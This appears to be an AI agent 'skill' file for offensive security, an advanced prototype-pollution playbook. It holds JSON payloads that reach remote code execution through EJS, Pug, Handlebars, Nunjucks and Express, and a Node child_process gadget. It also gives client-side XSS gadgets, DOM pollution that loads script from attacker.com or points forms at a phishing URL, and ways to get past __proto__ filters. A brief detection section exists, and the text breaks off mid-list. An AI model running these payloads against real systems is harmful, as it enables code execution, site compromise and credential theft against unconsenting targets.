Prototype Pollution Advanced

SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation

AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks, __proto__ vs constructor.prototype, basic probes).

0. RELATED ROUTING

• prototype-pollution — LOAD FIRST for PP fundamentals, merge-sink detection, basic probes
• ssti-server-side-template-injection — template engine RCE context (PP often triggers through template gadgets)
• xss-cross-site-scripting — client-side PP gadgets ultimately achieve XSS

Advanced Reference

Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.

1. SERVER-SIDE PP → RCE

1.1 Node.js child_process.spawn — Shell/ENV Injection

When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:

// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code

Alternative ENV pollution:

{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

1.2 EJS (Embedded JavaScript Templates)

EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:

// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE

Detection: any EJS res.render() call after pollution triggers it.

1.3 Pug (formerly Jade)

Pug's compiler reads block from object properties:

{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}

Alternative via self option:

{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}

1.4 Handlebars

Handlebars template compilation checks type and program on template AST nodes:

{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}

Simpler via allowProtoMethodsByDefault:

{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}

1.5 Nunjucks

{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}

1.6 Express res.render (Generic)

When Express calls res.render(), options merge with app.locals and res.locals. Polluted prototype properties appear as template variables:

{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}

2. CLIENT-SIDE PROTOTYPE POLLUTION

2.1 jQuery Gadgets

$.extend(true, {}, userInput) performs deep merge — classic PP sink.

After pollution, jQuery's HTML methods use polluted properties:

// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body');  // may use polluted property

2.2 Lodash Gadgets

// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value)  // if path is attacker-controlled

// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')();  // sourceURL injected into Function constructor

2.3 Script Gadgets in Frameworks

"Script gadgets" are framework code paths that read from Object.prototype and perform dangerous operations:

2.4 DOM Property Pollution

Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these

3. DETECTION TECHNIQUES

3.1 Black-Box Server-Side Detection

Step 1: Inject and check
  POST /api/endpoint
  {"__proto__":{"polluted":"yes"}}
  
  Then: GET /api/anything
  Check if response contains "polluted" or behavior changes

Step 2: Error-based detection
  {"__proto__":{"toString":1}}
  → If server crashes or returns 500, toString was overwritten
  
  {"__proto__":{"valueOf":1}}
  → Same crash-based detection

Step 3: Response differential
  {"__proto__":{"status":555}}
  → Check if HTTP status code changes to 555
  
  {"__proto__":{"content-type":"text/plain"}}
  → Check if Content-Type header changes

3.2 Black-Box Client-Side Detection

// In browser console after interacting with the app:
Object.prototype.testPollution
// If returns a value → something polluted the prototype

// Automated: override defineProperty to detect writes
Object.defineProperty(Object.prototype, '__proto__', {
    set: function(v) { console.trace('PP detected!', v); }
});

3.3 Automated Tools

4. BYPASS __proto__ FILTERS

4.1 constructor.prototype Path

// Instead of:
{"__proto__": {"polluted": "yes"}}

// Use:
{"constructor": {"prototype": {"polluted": "yes"}}}

4.2 Bracket Notation Variants

?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes   (if filter strips __proto__ once)

4.3 JSON Key Variations

{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}

4.4 Key Distinction: Shallow vs Deep

Object.assign does NOT pollute prototype (shallow copy, safe). Only recursive/deep merge functions are vulnerable. Always verify the merge depth.

5. EXPLOITATION FLOW

1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
   └── JSON body parsed and deep-merged into server object

2. Confirm pollution:
   └── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally

3. Identify technology stack: